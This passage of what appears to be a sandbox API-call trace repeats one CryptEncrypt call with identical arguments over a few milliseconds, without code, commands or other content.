dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.174] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.174] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.174] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.174] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.174] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.174] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.174] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.174] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.174] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.174] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.174] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.174] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.174] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.174] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.175] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.175] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.175] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.175] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.175] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.175] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.175] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.175] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.175] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.175] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.175] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.175] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.175] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.175] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.175] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.177] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.177] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.177] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.177] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.177] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.177] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.177] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.177] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.177] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.177] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.177] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.177] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.177] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.177] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.177] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.177] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.177] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.177] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.177] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.177] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.177] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.178] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.178] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.178] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.178] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.178] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.178] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.178] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.178] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.178] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.178] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.178] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.178] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.178] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.178] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.178] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.178] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.178] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.178] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.178] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.178] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.178] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.179] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.179] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.179] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.179] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.179] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.179] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.179] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.179] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.179] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.179] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.179] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.179] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.179] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.179] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.179] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.179] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.179] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.180] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.180] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.180] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.180] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.180] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.180] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.180] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.180] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.180] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.180] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.180] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.180] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.180] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.180] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.180] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.180] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.180] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.181] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.181] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: 